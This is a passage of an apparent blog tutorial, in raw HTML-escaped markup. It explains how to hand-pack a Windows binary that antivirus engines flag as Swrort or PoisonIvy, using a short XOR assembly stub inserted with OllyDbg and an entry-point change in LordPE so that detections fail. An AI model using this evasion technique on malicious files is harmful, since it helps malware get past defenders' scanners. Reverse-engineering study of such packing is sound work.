Panda&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;10.0.2.7&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Suspicious file&lt;br /&gt;
Sophos&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;4.61.0&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Mal/Swrort-C&lt;br /&gt;
SUPERAntiSpyware&amp;nbsp;&amp;nbsp; &amp;nbsp;4.40.0.1006&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.15&amp;nbsp;&amp;nbsp; &amp;nbsp;Trojan.Backdoor-PoisonIvy&lt;br /&gt;
VirusBuster&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;13.6.147.0&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Trojan.Rosena.Gen.1&lt;br /&gt;
&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&amp;nbsp;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Manual packing of the binary can be done with many ways, the simplest way should be to XOR the data of the binary file. The process is easy you just have to do it once and see it working, from there someone can change the xor function to different more complicated methods in order to achieve better results.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Two tools will be used for the process, one is ollydbg ( http://www.ollydbg.de/ ) and the other lordpe ( http://www.woodmann.com/collaborative/tools/index.php/LordPE ).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Starting the process, we fire up ollydbg and load our binary file,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj48s2222sduN0nKY0-AZIvo6rlyi9KM9a6fAH4AHYhXZT-dMByRVPi2e4AIP7BPerpp6SZbyBD6BJdMTQFvyGVuyu6w15M3e8cGiLYL_1f5JFno7Qsy3KWh3Lp2203yc5HI2rvKN5Td4gJ/s1600/1stOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj48s2222sduN0nKY0-AZIvo6rlyi9KM9a6fAH4AHYhXZT-dMByRVPi2e4AIP7BPerpp6SZbyBD6BJdMTQFvyGVuyu6w15M3e8cGiLYL_1f5JFno7Qsy3KWh3Lp2203yc5HI2rvKN5Td4gJ/s320/1stOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Some things to observe here, the OEP, original entry point of the executable module, is at 00406D42. Also checking near the end of the file we are looking to find a place for the new instructions. We are actually looking for a series of&amp;nbsp; DB 00, at least 10 lines will do the work, if you don&#39;t have the space you can always add it using a hex editor.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: inherit; text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;For the binary file that I&#39; m using a place around 0040BF60 seems nice&lt;/span&gt; to place the extra code. The instructions will be,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;mov ecx, &quot;address of our code&quot; - &quot;original entry point&quot;&lt;br /&gt;
mov eax, &quot;original entry point&quot;&lt;br /&gt;
xor byte [eax], 0A &amp;lt;- here the 0A acts as an encryption key and can be anything that you like&lt;br /&gt;
inc eax&lt;br /&gt;
dec ecx&lt;br /&gt;
jnz &quot;our xor address&quot;&lt;br /&gt;
push &quot;original entry point&quot;&lt;br /&gt;
retn&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;For the binary file that i&#39;m working with instructions are exactly like this:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-family: inherit;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;/span&gt;&lt;span id=&quot;status-total&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;mov ecx, 521E&lt;br /&gt;
mov eax, 00406D42&lt;br /&gt;
xor byte [eax], 0A&lt;br /&gt;
inc eax&lt;br /&gt;
dec ecx&lt;br /&gt;
jnz 0040bf6a&lt;br /&gt;
push 00406D42&lt;br /&gt;
retn&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEc11vYAWAbtnJHk0fpf4Cw12YIcACvVto1RnMPN_jmwNnRbyGH6JywTjEfcjukT89CgdC-htWw2vU0kawG50CMvYV5NYmQ7NYrGAgMnv1HqrDo_ILcR30C7UAtKy4k3VJClBmaerAj83h/s1600/2ndOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEc11vYAWAbtnJHk0fpf4Cw12YIcACvVto1RnMPN_jmwNnRbyGH6JywTjEfcjukT89CgdC-htWw2vU0kawG50CMvYV5NYmQ7NYrGAgMnv1HqrDo_ILcR30C7UAtKy4k3VJClBmaerAj83h/s320/2ndOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;In order to save the modifications, right click, select copy to executable, all modifications&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBcVGUKYMLc8BDA12IOqoBzy-CyE0N1Ny_FZOIWbvaZ9pPoA5c4ab09ORrFlAh2l-QASVl5VUVfdmV3pb9QvKjDk-JWWuVhd7_FLZRzYwDlMIWW-74WCix6JhcoBYw6bd1xdygKlX7Buxa/s1600/3rdOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBcVGUKYMLc8BDA12IOqoBzy-CyE0N1Ny_FZOIWbvaZ9pPoA5c4ab09ORrFlAh2l-QASVl5VUVfdmV3pb9QvKjDk-JWWuVhd7_FLZRzYwDlMIWW-74WCix6JhcoBYw6bd1xdygKlX7Buxa/s320/3rdOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;And again choose copy all in the next dialog box. Finally right click in the new window and choose save file.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJRcywfkIG4D0QTY5tdYVyI1ORGwfdiz2sO4mdmkI5xLIKCYrD1iCn2O99PzwGsqIA3lZ5zg6AhvImNCb8Hb6lOwmuARBW95BPhp6ZdnVX_QAT_cKsAx28Njazwz200mC8t0grTIhTDpeN/s1600/4thOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJRcywfkIG4D0QTY5tdYVyI1ORGwfdiz2sO4mdmkI5xLIKCYrD1iCn2O99PzwGsqIA3lZ5zg6AhvImNCb8Hb6lOwmuARBW95BPhp6ZdnVX_QAT_cKsAx28Njazwz200mC8t0grTIhTDpeN/s320/4thOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;Input a new filename and we are done for the moment with ollydbg. The next step is to instruct &lt;span style=&quot;font-family: inherit;&quot;&gt;our file to execute our code before anything else. In order to achieve this we need to change the OEP ( original entry point ) to the first address of our instruction set ( for my file the address is 0040BF60)&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;LordPE will help us to make this change. All we actually need to do is to calculate the new OEP based on the Image Base and the new entry point. Loading LordPE we choose Pe Editor and we select our new created file.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghI-ucamoeP4gownsa4qvhXJC03HJj4q1Pr0u6gE26CEZa9W3nR01dWlvEh9eo_i8pO72B3UxSeCTWqJ8ekUmBNk5LsBLNnofllve1rd3aDQZG2O5_UmSaCxncytUHS87ponuUWq2LHNGm/s1600/1stLordPE.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;145&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghI-ucamoeP4gownsa4qvhXJC03HJj4q1Pr0u6gE26CEZa9W3nR01dWlvEh9eo_i8pO72B3UxSeCTWqJ8ekUmBNk5LsBLNnofllve1rd3aDQZG2O5_UmSaCxncytUHS87ponuUWq2LHNGm/s320/1stLordPE.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;Originally we have the entry point at 6D42 with our Base Image at 40000, ( OEP loading the file at ollydbg was at 00406D42 )&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqgrQ10x5KaS5qIgYwOYBOrbigFn_Ql1c3bYSlOFIMIzz9yERqMUVfylV198XDVRIEXyQxoUOH7DHdp-mIkJyNCMDpG_PSfJISE8_eA276bq86SgJmoOmcxi7sHKJsvqXSpogl9EoNnsTj/s1600/2ndLordPE.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;142&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqgrQ10x5KaS5qIgYwOYBOrbigFn_Ql1c3bYSlOFIMIzz9yERqMUVfylV198XDVRIEXyQxoUOH7DHdp-mIkJyNCMDpG_PSfJISE8_eA276bq86SgJmoOmcxi7sHKJsvqXSpogl9EoNnsTj/s320/2ndLordPE.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;We need the OEP to be placed at 0040BF60, so new entry point - base image ( 0040BF60 - 0040000 = BF60 )&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm5MWnPpWPb6UvljyBEo-Co9zVdoEx_BA88tjFCoXP5qRSsWqXJedCKavmnlUGShikup89X7Ws1Sn_LR4A0lfKKSwyqDV10RgsIh5fEAQdoNHc2RBQryRYSbQOIhMPA22MbtyRbeIPqjG-/s1600/3rdLordPE.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;147&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm5MWnPpWPb6UvljyBEo-Co9zVdoEx_BA88tjFCoXP5qRSsWqXJedCKavmnlUGShikup89X7Ws1Sn_LR4A0lfKKSwyqDV10RgsIh5fEAQdoNHc2RBQryRYSbQOIhMPA22MbtyRbeIPqjG-/s320/3rdLordPE.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;After changing the EntryPoint we click Save, Ok and we close LordPE. &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Back at ollydbg we load the new file, and we can see that the program now is starting at our first instruction.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div 